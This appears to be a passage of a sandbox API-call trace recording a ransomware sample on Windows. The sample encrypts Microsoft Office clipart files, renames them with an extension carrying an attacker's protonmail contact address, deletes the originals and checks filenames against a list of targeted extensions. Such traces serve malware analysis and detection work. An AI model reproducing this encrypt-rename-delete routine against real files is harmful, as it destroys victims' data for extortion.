	[0176.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0176.647] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=11108) returned 1
	[0176.647] CloseHandle (hObject=0x544) returned 1
	[0176.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 0x220
	[0176.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0176.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0176.649] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.649] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0176.650] GetLastError () returned 0x0
	[0176.650] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x2b64, lpOverlapped=0x0) returned 1
	[0176.652] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x2b70, lpOverlapped=0x0) returned 1
	[0176.653] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.653] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.654] SetEndOfFile (hFile=0x4bc) returned 1
	[0176.654] CloseHandle (hObject=0x4bc) returned 1
	[0176.654] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.654] SetEndOfFile (hFile=0x544) returned 1
	[0176.658] CloseHandle (hObject=0x544) returned 1
	[0176.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0176.659] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 1
	[0176.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0176.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0176.660] lstrlenW (lpString=".doc") returned 4
	[0176.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.660] lstrlenW (lpString=".docx") returned 5
	[0176.660] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0176.660] lstrlenW (lpString=".pdf") returned 4
	[0176.660] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.660] lstrlenW (lpString=".xls") returned 4
	[0176.660] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.660] lstrlenW (lpString=".xlsx") returned 5
	[0176.660] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0176.660] lstrlenW (lpString=".ppt") returned 4
	[0176.660] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0176.660] lstrlenW (lpString=".zip") returned 4
	[0176.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.660] lstrlenW (lpString=".rar") returned 4
	[0176.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.660] lstrlenW (lpString=".bz2") returned 4
	[0176.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.660] lstrlenW (lpString=".7z") returned 3
	[0176.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0176.660] lstrlenW (lpString=".dbf") returned 4
	[0176.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0176.660] lstrlenW (lpString=".1cd") returned 4
	[0176.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0176.661] lstrlenW (lpString=".jpg") returned 4
	[0176.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0176.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0176.661] lstrlenW (lpString=".doc") returned 4
	[0176.661] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0176.661] lstrlenW (lpString=".docx") returned 5
	[0176.661] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0176.661] lstrlenW (lpString=".pdf") returned 4
	[0176.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0176.661] lstrlenW (lpString=".xls") returned 4
	[0176.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0176.661] lstrlenW (lpString=".xlsx") returned 5
	[0176.661] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0176.661] lstrlenW (lpString=".ppt") returned 4
	[0176.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0176.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0176.661] lstrlenW (lpString=".zip") returned 4
	[0176.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0176.661] lstrlenW (lpString=".rar") returned 4
	[0176.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0176.661] lstrlenW (lpString=".bz2") returned 4
	[0176.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0176.661] lstrlenW (lpString=".7z") returned 3
	[0176.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0176.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0176.662] lstrlenW (lpString=".dbf") returned 4
	[0176.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0176.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0176.662] lstrlenW (lpString=".1cd") returned 4
	[0176.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0176.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF") returned 68
	[0176.662] lstrlenW (lpString=".jpg") returned 4
	[0176.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0176.662] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0176.662] lstrlenW (lpString="J0107282.WMF") returned 12
	[0176.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0176.663] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=14132) returned 1
	[0176.663] CloseHandle (hObject=0x544) returned 1
	[0176.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 0x220
	[0176.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0176.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0176.664] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.664] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0176.665] GetLastError () returned 0x0
	[0176.665] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x3734, lpOverlapped=0x0) returned 1
	[0176.909] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x3740, lpOverlapped=0x0) returned 1
	[0176.911] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0176.911] WriteFile (in: hFile=0x4bc, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0176.911] SetEndOfFile (hFile=0x4bc) returned 1
	[0176.911] CloseHandle (hObject=0x4bc) returned 1
	[0176.911] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0176.911] SetEndOfFile (hFile=0x544) returned 1
	[0177.272] CloseHandle (hObject=0x544) returned 1
	[0177.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.273] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 1
	[0177.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0177.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0177.274] lstrlenW (lpString=".doc") returned 4
	[0177.275] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.275] lstrlenW (lpString=".docx") returned 5
	[0177.275] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0177.275] lstrlenW (lpString=".pdf") returned 4
	[0177.275] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.275] lstrlenW (lpString=".xls") returned 4
	[0177.275] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.275] lstrlenW (lpString=".xlsx") returned 5
	[0177.275] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0177.275] lstrlenW (lpString=".ppt") returned 4
	[0177.275] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0177.275] lstrlenW (lpString=".zip") returned 4
	[0177.275] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.275] lstrlenW (lpString=".rar") returned 4
	[0177.275] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.275] lstrlenW (lpString=".bz2") returned 4
	[0177.275] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.275] lstrlenW (lpString=".7z") returned 3
	[0177.275] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0177.275] lstrlenW (lpString=".dbf") returned 4
	[0177.275] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.275] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0177.275] lstrlenW (lpString=".1cd") returned 4
	[0177.276] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0177.276] lstrlenW (lpString=".jpg") returned 4
	[0177.276] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0177.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0177.276] lstrlenW (lpString=".doc") returned 4
	[0177.276] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.276] lstrlenW (lpString=".docx") returned 5
	[0177.276] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0177.276] lstrlenW (lpString=".pdf") returned 4
	[0177.276] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.276] lstrlenW (lpString=".xls") returned 4
	[0177.276] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.276] lstrlenW (lpString=".xlsx") returned 5
	[0177.276] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0177.276] lstrlenW (lpString=".ppt") returned 4
	[0177.276] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.276] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0177.276] lstrlenW (lpString=".zip") returned 4
	[0177.276] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.276] lstrlenW (lpString=".rar") returned 4
	[0177.276] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.277] lstrlenW (lpString=".bz2") returned 4
	[0177.277] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.277] lstrlenW (lpString=".7z") returned 3
	[0177.277] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0177.277] lstrlenW (lpString=".dbf") returned 4
	[0177.277] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0177.277] lstrlenW (lpString=".1cd") returned 4
	[0177.277] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0177.277] lstrlenW (lpString=".jpg") returned 4
	[0177.277] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.277] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0177.277] lstrlenW (lpString="J0107316.WMF") returned 12
	[0177.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0177.279] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=11288) returned 1
	[0177.279] CloseHandle (hObject=0x544) returned 1
	[0177.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 0x220
	[0177.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0177.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0177.280] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.280] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0177.281] GetLastError () returned 0x0
	[0177.281] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x2c18, lpOverlapped=0x0) returned 1
	[0177.284] WriteFile (in: hFile=0x54c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x2c20, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x2c20, lpOverlapped=0x0) returned 1
	[0177.286] ReadFile (in: hFile=0x544, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.286] WriteFile (in: hFile=0x54c, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.286] SetEndOfFile (hFile=0x54c) returned 1
	[0177.286] CloseHandle (hObject=0x54c) returned 1
	[0177.286] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.286] SetEndOfFile (hFile=0x544) returned 1
	[0177.957] CloseHandle (hObject=0x544) returned 1
	[0177.958] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0177.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 1
	[0177.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0177.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0177.960] lstrlenW (lpString=".doc") returned 4
	[0177.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.960] lstrlenW (lpString=".docx") returned 5
	[0177.960] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0177.960] lstrlenW (lpString=".pdf") returned 4
	[0177.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.960] lstrlenW (lpString=".xls") returned 4
	[0177.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.960] lstrlenW (lpString=".xlsx") returned 5
	[0177.960] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0177.960] lstrlenW (lpString=".ppt") returned 4
	[0177.960] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0177.961] lstrlenW (lpString=".zip") returned 4
	[0177.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.961] lstrlenW (lpString=".rar") returned 4
	[0177.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.961] lstrlenW (lpString=".bz2") returned 4
	[0177.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.961] lstrlenW (lpString=".7z") returned 3
	[0177.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0177.961] lstrlenW (lpString=".dbf") returned 4
	[0177.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0177.961] lstrlenW (lpString=".1cd") returned 4
	[0177.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0177.961] lstrlenW (lpString=".jpg") returned 4
	[0177.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0177.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0177.961] lstrlenW (lpString=".doc") returned 4
	[0177.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.962] lstrlenW (lpString=".docx") returned 5
	[0177.962] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0177.962] lstrlenW (lpString=".pdf") returned 4
	[0177.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.962] lstrlenW (lpString=".xls") returned 4
	[0177.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.962] lstrlenW (lpString=".xlsx") returned 5
	[0177.962] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0177.962] lstrlenW (lpString=".ppt") returned 4
	[0177.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0177.962] lstrlenW (lpString=".zip") returned 4
	[0177.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.962] lstrlenW (lpString=".rar") returned 4
	[0177.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.962] lstrlenW (lpString=".bz2") returned 4
	[0177.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.962] lstrlenW (lpString=".7z") returned 3
	[0177.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0177.962] lstrlenW (lpString=".dbf") returned 4
	[0177.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0177.962] lstrlenW (lpString=".1cd") returned 4
	[0177.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF") returned 68
	[0177.963] lstrlenW (lpString=".jpg") returned 4
	[0177.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.963] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
